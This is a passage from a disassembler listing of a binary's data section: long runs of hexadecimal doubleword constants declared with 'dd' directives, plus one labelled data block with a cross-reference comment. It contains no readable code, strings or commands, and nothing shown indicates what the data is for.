44C4590Eh, 1962458Ah, 0C4514120h dd 83900EFh, 0EBBC83A9h, 4900D66Bh, 8C05E281h, 19CA0BDAh dd 35188610h, 228ED8C8h, 1502B4CCh, 9B2702BCh, 23EA127Ch dd 0B8E08121h, 25F21749h, 955EEAh, 9ADE5BBFh, 0F7033581h dd 0A4678D8h, 0AC51D741h, 92208A72h, 0C10831Ch, 0E91432AEh dd 0CF003D12h, 0CDE3746Dh, 0A807ACDEh, 55E049E8h, 12B057D7h dd 3B587BBh, 105A4C9Dh, 3B760C8Eh, 50AC8A52h, 0AB7DE014h dd 2832C2E8h, 108E235Fh, 8F782FBCh, 0F72C1A0Ah, 833D67EAh dd 0F0CEFF30h, 0F3580EEh, 59F73881h, 7461AAh, 7F706068h dd 257C940h, 0D2B03100h, 0A98C6C79h, 13EA3067h, 3FCAB22Bh dd 60E07A03h, 0F84E97D8h, 0F4CC1477h, 9A2400A3h, 0C182625Fh dd 0E6244A31h, 790F0545h, 0D5E940CBh, 4D191Eh, 54C05357h dd 5B1C85AAh, 653280E3h, 8C2D6352h, 0EA5118D7h, 707E750Dh dd 0FC3BED71h, 0C5B00098h, 9081E360h, 0C0322805h, 271C03EBh dd 0BE95461h, 40303701h, 0B0034874h, 43ACCF0h, 825F590Ah dd 732AC1D2h, 0EFAA802Ah, 721C1FD9h, 6FF1FD54h, 7E42F2F4h dd 0D5C73160h, 20D28B1Dh, 0DEBAF5E9h, 131739A1h, 0B907D8C0h dd 24EA2244h, 27FFE700h, 9079365Bh, 5520046h, 0E48293C5h dd 730B724Bh, 2334EA42h, 93A76652h, 61BAF8D0h, 0C57859h dd 892CDA67h, 8441DBD1h, 477492FAh, 0F7003BF0h, 329AE129h dd 6531E6h, 0E2FF61F6h, 0C591AF47h, 0DB285460h, 3394E86h dd 34706620h, 18D0070Ch, 850F7B6Bh, 6FA45FFDh, 0A895E0F5h dd 39CAD4F9h, 48030F09h, 4968E08Ah, 750491Fh, 3D3189F0h dd 99C060FFh, 53E98EB5h, 0DED78B1Dh, 0D3F5A8C0h, 60BB31A7h dd 73D130EDh, 0EC3B3E2Ch, 3BFD8022h, 999B78F4h, 0CA7A019Ah dd 0C84431FFh, 4A1D4F5h, 0CCDF9203h, 20CE321h, 506C3288h dd 8491E20Fh, 0F95981E7h, 0F197156Eh, 0E865930h, 2264EB25h dd 0A178CE6Fh, 39C4E06Dh, 0B380EF52h, 3E99E59Fh, 180AEABh dd 0D13B5D15h, 5BFE6F0Dh, 8166C8C0h, 0C70FAFCh, 0E1D88676h dd 720C03A1h, 98EC1319h, 591C1D5Ch, 126106E4h, 980C28B1h dd 0A1DC5B93h, 0C4A20C36h, 2211ECBAh, 28643B00h, 23F8B47Ah dd 26F3000Bh, 85D96E40h, 0C60365B3h, 47E30C98h, 0B9D66Dh dd 10A2E2F8h, 0DCB83995h, 8278FA0Ch, 6CC7094h, 0D0EB49F4h dd 7D00F185h, 0D5DA255h, 0AC68CD8Fh, 503B00CCh, 0A732A543h dd 7001D63Ch, 995EE59Ah, 509F9776h, 0EBCB843Dh, 810035C6h dd 63E0A865h, 808914Dh, 0FA85D813h, 94530E98h, 1A8AAB00h dd 93721D6h, 0DD61CE65h, 92694C0Ch, 29509A40h, 11E8E604h dd 0F7E004EBh, 47C0AF23h, 1FC8E886h, 0C1A52E9Bh, 0C57ED8EBh dd 8D81844Ah, 13806B31h, 1CF58ABDh, 61587EBh, 59DE6D65h dd 40DFD00h, 16A84C70h, 0EAF406DDh, 0E0618E4Ah, 78D49244h dd 59CC6F23h, 3C029300h, 2929DEA2h, 3100742Ch, 32E51167h dd 1018903Dh, 1F53A987h, 4B5ECA86h, 5A030CA4h, 69F4661h dd 0AF41CEE8h, 0CA1E18F0h, 830C6A89h, 0A0D410F7h, 18D2ACACh dd 30B02A98h, 0C47B0FA1h, 5445D63Ch, 0F0907C9Ch, 0C018D24h dd 6631003Dh, 0B5889436h, 5F830CA2h, 5E887CF0h, 8020FE48h dd 8EC4684h, 0F7F52AC9h, 0CEDB06B0h, 801B5339h, 97C2D00Ah dd 0AC80F031h, 0F206768h, 6DE13457h, 0F933C050h, 487415D5h dd 73331D00h, 3E518044h, 0D6FC1DE3h, 0A505C193h, 0C8A30F8Ah dd 0AC00B801h, 5C457388h, 0E86ECBA9h, 8CF700B2h, 0EB2CAD37h dd 8DE2B4A2h, 0D45070F1h, 34015DF8h, 0FDA25CEh, 4130BCFAh dd 2BA400B8h, 0AEC959B6h, 5D015638h, 0E245029Eh, 2CD0CC41h dd 0F9110017h, 4AC439E0h, 0C614DAD6h, 9CFEC1h, 40DB416Dh dd 18DD3084h, 18DC19CEh, 0B524570Dh, 18A1F445h, 0A800F421h dd 74B06714h, 65120A4Dh, 89A0E5BBh, 0F100B2E4h, 0A74805BFh dd 0EA00A1F2h, 59BAA652h, 0A851C425h, 36ABB4h, 3D306E01h dd 0B6D74E12h, 1BA54600h, 0A03AECC2h, 0DF3206E3h, 99E661C6h dd 53F98710h, 3D89929h, 0E4BB1B36h, 0E300117Ch, 6D835C06h dd 754294B6h, 0B9D760EEh, 62D169B9h, 219D4E00h, 0BA995A87h dd 14609A88h, 0FCEF0709h, 51A8F17Ah, 6A4D007Fh, 6685D75Ah dd 80C24491h, 646CA188h, 5DBB0EB8h, 1DC086CFh, 510CCC74h dd 5B47991Dh, 9353B18Eh, 688DE50Ch, 0C06D73A0h, 0C8BE3539h dd 0E8039324h, 5CD53AD2h, 0BCD1C0A6h, 4CE577B2h, 0CD3C2C28h dd 0CA8700D8h, 90DF3421h, 0A06520A4h, 0B1E8BA31h, 0FE20B4AAh dd 0EDA43B27h, 1C825C79h, 69C7224h, 0C070956Fh, 0A046C32Ah dd 975DBA3Eh, 0F3063C34h, 12049BDh, 0FB30A239h, 8F921A98h dd 64D73B8h, 3C9D278h, 6103463Fh, 101EB536h, 5ECC5511h dd 4A159E4h, 2AD58893h, 0D81CD08Ah, 5A00740Bh, 11AC337Fh dd 0C1685494h, 0A5CEE4B9h, 0B0F447E5h, 2C3EBA2h, 78B0D24Dh dd 650AC1Fh, 0DA831CACh, 39A31A78h, 648C4E89h, 396883FDh dd 0FC960803h, 82164C36h, 0CD4643Dh, 4EC43280h, 3C09B9A1h dd 867E25h, 0BD63584Dh, 0AFE7023h, 5501870Fh, 0E63D8384h dd 0A931DD89h, 0CACED93Bh, 0B2E7CBE4h, 0C24200C0h, 0A2519564h dd 0E2455D93h, 6045DEE8h, 5F11D8EDh, 58C6AE44h, 18948C4h dd 77A5A97Dh, 0E054CC1Bh, 677A0E22h, 0A1284C60h, 0CBFD89C6h dd 94188440h, 750088D3h, 3E5953A6h, 0EDD2FA4h, 0B47C5A97h dd 813D6B64h, 2DEEB14h dd 98904293h, 34BF3Ch, 3F73BE13h, 0CB3621F7h, 7C3ED0FAh dd 31D58610h, 0A152C5h, 33BD22BFh, 88E79985h, 9ECC3Fh dd 0EF202E3Ah, 2EB4001h, 0E61A498Ch, 30C1105Ah, 0E87110E3h dd 10EFE67h, 6138214Dh, 0C7CDCF32h, 940F2B7h, 130CDC60h dd 0C0E46D80h, 33226639h, 0A300ABA0h, 97F6D932h, 79A2ED72h dd 956A00EEh, 5F0E391Bh, 94A0829Fh, 8F55C1EAh, 15423F4h dd 888C3B34h, 0EC300277h, 0CA1C4045h, 416C3C06h, 9810F18Fh dd 0B53620D0h, 5711A202h, 81DFCF7Dh, 9B19CCF8h, 610CB822h dd 8329896Ah, 0C7315490h, 5A93798Bh, 0D3011422h, 9956859Fh dd 64A0824Dh, 8ED661FEh, 67E122E4h, 3DDB0042h, 64618710h dd 922A3BC9h, 1F4F2710h, 8856B01Eh, 59CD53C0h, 7CC8C675h dd 0E2A7008Fh, 11CC3D20h, 50A01D95h, 0A180963Eh, 10FD0243h dd 5BE0CC2Ah, 0A709F844h, 85FEBD05h, 0C4C88930h, 0D4D048EAh dd 1986B581h, 0C6B9845Ch, 0F00FD8Dh, 0DDCE05ABh, 3208E459h dd 40CA416Fh, 3086AD5Ah, 8D38713Dh, 55489343h, 85D6C384h dd 263922F3h, 0B2915A09h, 4630A2AEh, 9BC64BBh, 3706E050h dd 0EEFE3383h, 9810CBC3h, 65024B9Dh, 0A4A57E0Dh, 0A2D4C848h dd 0E413B900h, 0DACB1D12h, 5A94180Bh, 0A73B51E3h, 5C9A0F2Eh dd 0EFBAE506h, 2A6B0019h, 0DD023A61h, 0A100E6F8h, 0B5F2B862h dd 0A92666h, 0DBED0A1Fh, 7C0950ADh, 0CB0A98B2h, 988E2A27h dd 6A5E1A80h, 758CA8h, 18745D5Fh, 365FEE5h, 0DB446C92h dd 5A460081h, 0A6544CC9h, 0E706BD25h, 3856941Ch, 1BD17158h dd 31DA6E10h, 60F53491h, 742637FEh, 2A12884Eh, 0E5DFDC90h dd 0C1BA00D7h, 0F048C809h, 9D00834Bh, 0CA5E6CA0h, 0F5C565F5h dd 3913FC50h, 6E2901FDh, 6B5C4105h, 42508216h, 0C9DD2709h dd 0C010E27Ch, 5B14D472h, 84E050C9h, 1018D9B1h, 4520CE04h dd 8598A3E3h, 0CAD0B0D0h, 0E67F3509h, 0FC9D8050h, 354A1D73h dd 861A40Fh, 19CA02C3h, 5C44F2FBh, 48B2B620h, 0A283A829h dd 0FEA2F07h, 22C56561h, 6E8D0450h, 34015101h, 0C3FB39CCh dd 10524824h, 0FC28E618h, 30E960D9h, 4364E0D5h, 4BF184A8h dd 52672A05h, 78025793h, 4899FE66h, 1CBC056Ch, 0DC1EF443h dd 0B9D00042h, 0C582335Dh, 0EABB0200h, 76C2D45Ch, 567D1E83h dd 939E0092h, 2A5ED313h, 102C865Ch, 8A049106h, 0E4C41ACDh dd 82E83138h, 9E63AB1Ch, 0A662C880h, 23FAFDh, 68C7A045h dd 0F667C27Ah, 288B159h, 0C6EB1CDCh, 0D80A098h, 8068556Fh dd 59DE64C4h, 0E8703D00h, 70B2C85h, 868836D4h, 0C529AD89h dd 0F87F0083h, 0AE0A0110h, 222ECFFEh, 0B635FCC8h, 0EA8C3200h dd 8FB7523Bh, 1104A746h, 34DD00DAh, 0B553060Dh, 35CC0008h dd 0CF488E96h, 460CE0Ch, 0D6518F18h, 0F09CA2h, 3E4C0BF5h dd 0F8078DB6h, 494DF379h, 6ABB39A0h, 97A13CEDh, 0A404EB86h dd 0CCEA403Dh, 58923637h, 0C107E7C3h, 108379A7h, 728C3514h dd 2E5D2800h, 0B7E08F7Eh, 0ABB30BD1h, 0DD006BA8h, 9A9CA5A1h dd 3C54490Fh, 80276D0Ch, 0F04102F0h, 109060E2h, 8ADF562Ch dd 813674A1h, 96CD5F08h, 0E0D38B93h, 36A4B40h, 0CC0A6F56h dd 88187A17h, 0F8E1C355h, 0DF4550EEh, 282D781Fh, 0C301CCEh dd 50FAD5CFh, 0D7054288h, 0F6CEEBDEh, 0AC242280h, 0AC8C569h dd 0E8082186h, 0C59186D4h, 0F041F6ADh, 51CB2A86h, 670F0EC4h dd 919BE40Ah, 860C3AF8h, 8B4A79C0h, 61E411FAh, 0BE522113h dd 5905D30Ch, 243A7285h, 2CD71842h, 12E0A0D2h, 0C8CEEE1Eh dd 0FA893470h, 0F0810B3h, 808FE947h, 3C9D360Bh, 0AB73D900h dd 8F618A4Ah, 841FA128h, 1827DE44h, 4193E10Fh, 77076267h dd 56C83409h, 9C3ACBB0h, 46690279h, 0BCF68AEBh, 1CCFF890h dd 0AF8B4CA0h, 9AA0BA54h, 50E1E018h, 88B450h, 4D3BF46Fh dd 66E94C91h, 4F490100h, 0BF34299Bh, 0D3610012h, 5C8C4BEBh dd 0AF132471h, 4031C0Ah, 90A66F44h, 780F34FFh, 5BF7019Dh dd 0A96099CFh, 49B5DC2Ch, 1C364C00h, 76508651h, 0D8BB0F25h dd 4A03411Bh, 4000A566h, 5F800F2Ah, 0CF6EF1h, 359F448Bh dd 654FA9E6h, 52FD300h, 14764C8Fh, 1B0A00F0h, 7A4A90F7h dd 0E83B6F9Bh, 5F7F0230h, 44DD6EE3h, 57048DC8h, 0FB80F8EAh dd 5D8D4935h, 0D890F1h, 3D9D5998h, 260AC1E6h, 382AD900h dd 25685141h, 0CD800FDh, 69499D42h, 0E33321E9h, 0B8434034h dd 8F1829h, 0E735B387h, 0CA734FAEh, 86393D00h, 0DC52B144h dd 3C031728h, 0EDFC0689h, 4B3F406Fh, 76E82087h, 2A940095h dd 694FB601h, 540026DEh, 29A3588Fh, 0CF14FDh, 795E8D44h dd 0FEE421A8h, 87383Ch, 9AFF29F6h dword_49005C dd 4C2A954Eh, 945238F3h, 30F9B0EBh, 48830050h, 99D65BE7h ; DATA XREF: ___:off_427B6Co dd 3500A687h, 6E4FB501h, 1053CE2h, 2E684C7Fh, 0D90616AFh dd 9BA5F884h, 34FE2407h, 0C0AE8848h, 60491D72h, 0E62B009Dh dd 0D07CFC80h, 8E004A40h, 0FF4D8D85h, 0C380C1Ch, 0E9B15097h dd 4A7F3240h, 490300FDh, 35A80045h, 610A80FFh, 370028D6h dd 2E648F9Ah, 20D8F3h, 665F973Ch, 2838239Bh, 914A3Ch, 8E015924h dd 2C37A846h, 0D58C72FFh, 388700D4h, 830F3BFCh, 5B00F644h dd 97539904h, 873333Ch, 22D9924Fh, 2F755F00h, 100AF6h dd 66434A44h, 3BFA6F9Ah, 91885400h, 901D6AEFh, 34A70057h dd 6212ACF3h, 53002B21h, 29708F85h, 60C1AE8h, 7944251Dh dd 49E25CE6h, 0E54E8000h, 87851455h, 341F0098h, 0DA904FC2h dd 8FE83A3Dh, 0AF1A7205h, 84802119h, 76A56A46h, 470B017Dh dd 6724608Dh, 0DA44D418h, 0B3012D01h, 41217250h, 884AAC60h dd 423F040Fh, 88AF2998h, 0F67F0423h, 9C125E00h, 9E0A6444h dd 0F6821E7Bh, 4694FA5Fh, 0AB3422h, 1A684F95h, 0E7B6A32h dd 82446627h, 0AC972D61h, 0E01C5C2Ah, 106ED333h, 0DF81E069h dd 0AF21C091h, 8710EFFh, 0B336130Bh, 9D2C6110h, 0F7502180h dd 7CA3BF0Eh, 610C26E4h, 59BADA51h, 763E00BEh, 0C40ACB88h dd 8E00AC7Dh, 7F7D748h, 0BC93C9DCh, 52FC8850h, 3A591B83h dd 0B622E034h, 6646008Dh, 0D6F55FAAh, 94B636F7h, 80CDD380h dd 0A54502Ah, 89FEE2CEh, 6A8C41Ch, 91B8A9h, 0B99D143Ch dd 0FFA18DC0h, 0CF577207h, 4970ECADh, 1EDF4154h, 0B358C5D0h dd 2CF84210h, 0E7526752h, 8A660798h, 0C1DB56FAh, 998C744h dd 8206213Dh, 71E1FA00h, 0A562B6A9h, 68D7F33h, 6C2CD71Ch dd 120BE86Bh, 0C8A851E4h, 0F1E00B00h, 2D12800h, 8C7C7028h dd 0FE4C9822h, 90162AD6h, 918860D8h, 42A29E3Eh, 8F61B61Eh dd 0C4002DD7h, 49CC0ACFh, 0F960C5C1h, 0C0805CBBh, 4D793B3Dh dd 6D02A580h, 49081DBAh, 867081B4h, 0C244FCCh, 0E44E90D2h dd 6D570783h, 115918CDh, 239356CFh, 3097A214h, 5501D3B2h dd 0C3C07765h, 0A0A0ABC1h, 0D9861EC3h, 8804450Fh, 714CE054h dd 760C3C0Bh, 6CD8C89Dh, 5FC4809Eh, 0E5D72800h, 40364B07h dd 5A803014h, 0A8C56528h, 304C845Fh, 0D541D8h, 0CA3E2751h dd 0A1C61182h, 1F6A5D00h, 1CCF01CEh, 2374130h, 883069F8h dd 0CF5811FAh, 80428886h, 0B8FA8004h, 25007660h, 7936C523h dd 0AD7290Ch, 5E8B11E7h, 0F9FB09CEh, 54978C10h, 408D8501h dd 38566A63h, 0AB30647Ch, 855C7421h, 0DB603Ch, 0F43675B0h dd 4A6A25B8h, 870888E8h, 0BC6D3000h, 7C8E91DDh, 28BDF0D7h dd 1CBBA31Ah, 5738FAAh, 1434DCFDh, 0DC402491h, 0EE08C84h dd 1B086E10h, 0EF84DE0h, 7B01D4E2h, 0BC09F4FBh, 0D8009D0Dh dd 0D90F1EE7h, 0C95F67C4h, 34C1882h, 1834032Ah, 633746Dh dd 0BEF0D19Bh, 7F07F6C0h, 5B790A55h, 0E01A4193h, 1EFE596Fh dd 0BE1C40C1h, 1CCC450h, 47916208h, 40925CDDh, 3B1CCEE8h dd 28A8FD50h, 82F6A83Ah, 60B77827h, 5C44AEh, 0FFD27032h dd 4AAB7BD8h, 801DD15Fh, 68912170h, 80EB01D2h, 13DB7CC5h dd 90A6DE35h, 5E3FC190h, 0C0E499CFh, 38207178h, 82083EA7h dd 0A932600h, 1C04D97Fh, 8046ACA6h, 720EFC01h, 0C35FB08h dd 0F451889Ah, 0D3A00E00h, 0C621DC9Fh, 67A70422h, 0C1872342h dd 131D464h, 0ADDD5B47h, 8A439A4h, 0CF1CB221h, 0D5518C42h dd 0F1C49A6h, 88B70981h, 86AEA9E3h, 8D365B28h, 0BBC01119h dd 38304889h, 0B237C364h, 0CD6FD341h, 48878C89h, 306734BCh dd 84D45790h, 1158C493h, 0A9D6990h, 286B700Ch, 0D8407C91h dd 18093F4h, 40888559h, 88AC185Bh, 85076179h, 6668E841h dd 4ACA67D0h, 8470634h, 70B8ADD4h, 9460AA58h, 8CA4E8B0h dd 0E8A02530h, 4D0C4304h, 18783C84h, 0E08AA4C5h, 4450CF3Ah dd 6840B8F4h, 0DDCC1308h, 405C437Ch, 39961034h, 0A040ACE2h dd 0C3921F58h, 142830E1h, 2D13F6B8h, 2C606652h, 2355FA8Bh dd 43116ECFh, 0FA830900h, 46F8C00Dh, 0F67FD500h, 0D9B0C394h dd 91D4600Ch, 9B55CBCDh, 84427F81h, 855A30F5h, 53408711h dd 7A80AF88h, 0B42E8562h, 5FA400D7h, 576ACA38h, 263DA023h dd 52EC80D2h, 0A26FE8ABh, 7916007Ah, 3A561D6Bh, 381E8108h dd 89406ABBh, 4EB581Bh, 9882E924h, 0A5D1BC0Ah, 9634DD00h dd 9424FB1Dh, 3028C85h, 33086D0Fh, 10981936h, 10EFB4Ch dd 0AD359F79h, 0D148075Bh, 57D064D0h, 0D1A00A00h, 0FFD42BF8h dd 0A1700EBEh, 0D0410702h, 819D04D5h, 4F5C1128h, 0BC609E8Fh dd 51A740B1h, 5A0CBE11h, 0C4DD6F0Ch, 10075859h, 8540AFA5h dd 966C71C9h, 23103A4Ch, 9670039h, 4BE6E27Ah, 2A8419C0h dd 8CDD957h, 36E76802h, 0CBA7CC80h, 2FB35Dh, 27417A29h dd 10AD1179h, 7094E102h, 5C59744Ch, 0D7F48684h, 521810CAh dd 319985DFh, 0AC4C3ED9h, 841C3580h, 69E0C99Bh, 0F12AE401h dd 0D8FE3805h, 1D808C34h, 897A3A55h, 74805771h, 0A5A20CD0h dd 4D801C4Dh, 751CBC60h, 517A87h, 6784B378h, 0F9FECE37h dd 9129A860h, 709D2Fh, 715A20Dh, 8779498Bh, 98282500h dd 0C76CD974h, 0B08E78F7h, 524A664h, 7ED19239h, 62F80A93h dd 0A5465650h, 326D3B7Ah, 19B5D598h, 0C2E04A0h, 0A84A044Fh dd 2A34674h, 0E80440EAh, 896C5E49h, 181011BFh, 0C54AF3C6h dd 19A40009h, 0F8104C44h, 5A056DA2h, 8CECD5CDh, 0A323C03Eh dd 0D088EF18h, 0F9A28044h, 988EF826h, 5680F14Eh, 73408B85h dd 760028A5h, 68E7855Eh, 49CF2686h, 10F994BCh, 47155403h dd 5DF08E62h, 8901DDDBh, 0D5842A42h, 3AFC17D1h, 72C30568h dd 9059E3A8h, 0DE0E5B18h, 1174B700h, 9827AC7h, 0E8B65850h dd 6E015E23h, 4BD901D2h, 93440019h, 0F003D266h, 0C0DE2F7Ah dd 9CF810C8h, 462C0447h, 0BC8909BEh, 36FB7040h, 10C54CA2h dd 0E2D13781h, 88F84E8Ah, 0BE76C0ACh, 0E302654Fh, 0D1B851DDh dd 0AD2CC039h, 609360CCh, 0D727B203h, 82C82425h, 5E5F0F74h dd 0A02313FCh, 640BDE3Ch, 0DAE33h, 719B9018h, 61A998C0h dd 0ADC5C85Ch, 3874F2ECh, 8028CA88h, 0F4261274h, 0E1F8CE78h dd 1CCF080Ah, 64A8FCDCh, 8158654Dh, 0CF54FA8Ch, 103B31D6h dd 0FA8408h, 42749F4Ah, 0CF02B0DEh, 21A2F603h, 441240Ch dd 0DCBCEC0h, 426094BAh, 0D97C6D44h, 8914FDE1h, 873399E9h dd 0B3C2847Fh, 79A859ABh, 268183Fh, 0F392F0FCh, 54C07479h dd 5706910Fh, 0BD2DCBB2h, 34D70C88h, 707850ECh, 42C2648h dd 0B4785616h, 384B0CCh, 1EDAB135h, 2DA87615h, 0E20073C5h dd 28115982h, 123BB14h, 720CCD6Dh, 64A1CC04h, 241A2FF8h dd 0E0604DF4h, 15DBEE08h, 0BC9356D0h, 0E80C3D04h, 0D6F6009Dh dd 0CF714024h, 5A055930h, 97C8842h, 3A88A055h, 3F173816h dd 9D23243Bh, 68BB813Fh, 184B3CDDh, 878ABC50h, 1ACF12C2h dd 0F684CC41h, 7E8EA03h, 147D1BCCh, 0E8C1F7D8h, 443A0841h dd 90B6FA84h, 110C6274h, 567F7304h, 948E87C8h, 0C0CEA588h dd 0CADEF39Fh, 0FAFE01B3h, 0BA3E1273h, 0F0B43671h, 2E537DEh dd 0E2427F1Dh, 0D4C613FEh, 649F4427h, 7D1F008Ch, 0DD42B65Bh dd 209AD6F7h, 0E2AD10A0h, 97C8D750h, 0FA94A39Dh, 833900A7h dd 1ECDC642h, 700976Bh, 3250EBE1h, 15115718h, 0C489DF5Eh dd 142BBE00h dd 0EDE5A49h, 0B62EE100h, 516167CFh, 1ACB021h, 0A86F86FDh dd 349481D3h, 0CC943480h, 11D40882h, 0A4020BA2h, 86023640h dd 0A88464C4h, 1D5D4C8h, 544C7AAEh, 254707BEh, 3834306Ch dd 0C0A6E524h, 3D3EA03Ah, 0C45DC40Ah, 283C127Ch, 951C9C6Fh dd 0FDD2381Eh, 2E9312C0h, 93287F2h, 0FF0D83Fh, 91B7B0C0h dd 0A2D46553h, 96A330B2h, 0ECD85102h, 51131A45h, 0C3928214h dd 14BEBDh, 9E8DC6Dh, 0B4FA77F6h, 0AA2451C0h, 3E355ACFh dd 7ABBDD6Dh, 40EBD501h, 3153780Ch, 0A2302378h, 89303038h dd 1C40A21Dh, 0CD9C9C66h, 96105500h, 166CFA64h, 2F6209D2h dd 1B0239Ch, 0EBB46359h, 820AE8EDh, 0E00CD90Ah, 0FD00803Ch dd 0BBE5688h, 90506C5Dh, 48C68C0h, 0CF57FA89h, 203C629Eh dd 2BFA8107h, 37555B00h, 680DAFEFh, 215060E8h, 66E44EB8h dd 5804F8FBh, 0E087F909h, 1D1C2992h, 899C1138h, 0C5B48250h dd 9945848h, 3BE43C42h, 99C4A068h, 0C6DC3881h, 0DD88C041h dd 61DE8AB5h, 34103C9Ch, 4096D584h, 0F9B7F237h, 3B8E4EF4h dd 7A6231Ch, 0C375692Dh, 60118DCFh, 0E0182CD6h, 2ED3C984h dd 7B2B3400h, 0BB99143Bh, 95080367h, 0A0727A31h, 725AC4F1h dd 0F6886420h, 8A855760h, 504B4026h, 75F7770h, 1C42C885h dd 0A1488C70h, 34AC38B9h, 6DDB00DEh, 156435A2h, 1C057CBFh dd 0D9BC0A2Dh, 0B971ACB0h, 18ACD1ECh, 0DF1200FCh, 66AB624Ah dd 3F16675Bh, 44104E8h, 0CDEFD729h, 0D802F463h, 0C9E412CCh dd 70558CC9h, 38927D64h, 465E9094h, 4F750038h, 0D0120A48h dd 918EF4A5h, 0FEC292Ch, 0A40017C7h, 6B107998h, 24E861CAh dd 0DFBF0038h, 0FBA22855h, 0F02C0989h, 8D800F6Ch, 0D245AE5Dh dd 52E78D05h, 8041BDD6h, 0F9780A55h, 0D8405C2Dh, 0C6594098h dd 0D1B46C12h, 0A4712008h, 56480C10h, 97041891h, 759D6C74h dd 3082A482h, 70240EFEh, 9427A008h, 0F64F0300h, 30FFB00Eh dd 2A400A98h, 6C6A2526h, 59639E01h, 403036D8h, 0FA4D12ADh dd 32940B47h, 0B8C25058h, 2797F980h, 564F85BEh, 0C03C4484h dd 0A5CF4154h, 0A841A464h, 9D310BEh, 80C54D29h, 86F78C0h dd 0A37DBC13h, 0DC8CE4D3h, 1E4FA33h, 58F83CC0h, 0D7268040h dd 24CC58EEh, 1CB886C0h, 20C45EECh, 0A90B202Eh, 0C7D85C02h dd 81D194E0h, 9A6D30Fh, 3CCEE183h, 0B85121F4h, 0B870AAF8h dd 8952024Bh, 62B77848h, 72960459h, 6BD85404h, 432204B3h dd 0D27F6AE4h, 52268116h, 0FE64881Fh, 0F841013Bh, 0C1B4A5A2h dd 840F092h, 470357F0h, 29B3CCDh, 2DDFCE18h, 604C6452h dd 53FA8D04h, 50A27ECFh, 0FA850BC0h, 0CCF007D5h, 0D9116B02h dd 803BA424h, 0A72860A0h, 0FD4A120Eh, 0F7D00870h, 898558C0h dd 0A0435840h, 856078E0h, 0D3323400h, 4D1EDBA4h, 2D74B85Ah dd 589837ECh, 0A800286Fh, 212E86C4h, 9CA49FE8h, 4EA640B4h dd 0C0000298h, 0CF7D7B3Eh, 0F6C1C9C8h, 0D3A30B19h, 0F4001021h dd 4DB0A67Eh, 598CE037h, 20CAED50h, 9F4F0782h, 40A1693Ch dd 79BCF603h, 842C975Ch, 70004790h, 964CC5CFh, 3A27A8A0h dd 0F9FE6D1Dh, 1173F6C0h, 1DC24659h, 6CF81442h, 84D58918h dd 3037442Bh, 1275D680h, 0BC79209h, 3A5B60B0h, 9040AC92h dd 5780B961h, 0CA851FF7h, 7404205Bh, 0EAF91F11h, 4489882h dd 0FAEC806Dh, 0D52489BFh, 0A4AF0C7Ch, 7CC1D020h, 0DC7CBC45h dd 1F90718Fh, 8D16ADCFh, 420C98D1h, 74E8E0A6h, 0DA003F46h dd 0A8999EC5h, 3A0CE51Ah, 5035A434h, 335B1146h, 0DDC509Dh dd 0CA8C340h, 3B0FE557h, 0E9B080h, 24F2D128h, 1CEC0ACBh dd 0D0946D3Ch, 0DC148A09h, 4834C821h, 0CB4284C0h, 0D424D70Bh dd 0A08478h, 8482899Dh, 6F605FD4h, 0D823FED2h, 4D1173h dd 0A9D26792h, 235943Ch, 9FB824D3h, 646187F5h, 0AB511046h dd 0E4110AEEh, 64B88995h, 24CD4E5Ah, 38009CD0h, 0CF13F1DAh dd 0D5C7970Bh, 0BA5CC0E4h, 50909A4Fh, 2282C12h, 0CC0FE7D7h dd 4F03958Dh, 72982477h, 57A4084Ch, 68A54702h, 86580385h dd 30938DEh, 0E86B80D4h, 64D0E160h, 52DC3851h, 1762DA09h dd 81B191F4h, 0BBF6C345h, 1B939D8h, 5DB391CFh, 7868DD6Fh dd 867200B8h, 0C0BF0BD9h, 94AD1B47h, 740118A5h, 4424E76h dd 0A18275D4h, 49202CD7h, 98110459h, 0D388B806h, 5B1811F9h dd 4344D606h, 78D06ADDh, 4D5D119Ch, 60867408h, 0DD37B998h dd 242CEBF3h, 0E88A1818h, 1580B44Ah, 0EF7AF75Ah, 865D0923h dd 241854D0h, 828237C4h, 0D1A975A8h, 24DC3C84h, 0C898CAD6h dd 0BFB1C038h, 5A02118Ch, 0E846E6F1h, 0D1FC906Ah, 5CCE5801h dd 358040Dh, 2C42E280h, 10874C0Fh, 630C8AFEh, 6CE9411Bh dd 0D7A8243Ch, 104CF148h, 38C4A39Dh, 55AF0651h, 53DF0439h dd 813DC3FCh, 7C52A8E0h, 90E08EE8h, 0FBDC5D00h, 874C04C0h dd 0F1C2A0F6h, 601AD6B1h, 7D944Eh, 1175CD66h, 503A84Dh dd 651B5F02h, 78043CD7h, 9F00A0B4h, 64C5034Ch, 669C241Fh dd 68CD1830h, 1726D742h, 20E8D0D8h, 66452900h, 0F0F97501h dd 0F588CE5Fh, 5FCD6DD0h, 93008301h, 722FEBC8h, 6036BE30h dd 0F42C7021h, 64B9DFh, 0CCD9A8C7h, 1C1C4382h, 0D540136Eh dd 62711730h, 6A51044Ch, 0B0FAD50h, 0A81C3072h, 0EF4009D3h dd 3802585Eh, 280AAC59h, 9B4A6C11h, 6D508358h, 960F78Dh dd 827CDDD4h, 73E48882h, 0E489F507h, 66C90170h, 0B4EA76Dh dd 0D82888BBh, 45A1338h, 8AE8488h, 0C4E11B8h, 7987E072h dd 0D35A00A6h, 7C1E54E9h, 2812F09Fh, 0BCA23F5Bh, 0BADDC30Ch dd 6852F789h, 319EB26Ch, 91DEECF6h, 0D834C009h, 8444045h dd 0AAEB125Fh, 9C34045Ch, 6546025Bh, 4034F0C0h, 43015287h dd 427EF699h, 9433CDCFh, 7C0C4009h, 0F4D37C41h, 0B6972316h dd 0D6AF40ACh, 504ADCF6h, 0C1058C91h, 1D2CDD00h, 1459F02Ch dd 6F877605h, 9CF2FCF2h, 58A2DA30h, 0DC17D49Bh, 10341DBAh dd 870A134Ah, 0C6DDC002h, 66D4C2ADh, 9F454458h, 91804B50h dd 0CBD49448h, 0B0201849h, 0E0168392h, 0B0324614h, 887B296Eh dd 126ED570h, 40BCF97Ah, 10C07230h, 0FB1213C7h, 9B078AF3h dd 82791D4Ch, 19A64524h, 2380336Dh, 0FA87016Ah, 2B8ECF59h dd 705182Ch, 0DF95FA7Fh, 346120F4h, 0BE01B08Eh, 2387480h dd 745CC2F8h, 1F3E8896h, 0D9427412h, 9EA47805h, 5D2234E2h dd 8E3B5B1Bh, 2CD0D531h, 0AE87674Ah, 4199442Ch, 10201958h dd 0C2C85390h, 0CC4334AEh, 0B334E88Bh, 4430C4E8h, 2380323Ah dd 20E6CD37h, 91351C21h, 3C400490h, 0B8E433F4h, 4A9A4260h dd 5C8340DAh, 3BC02B3Fh, 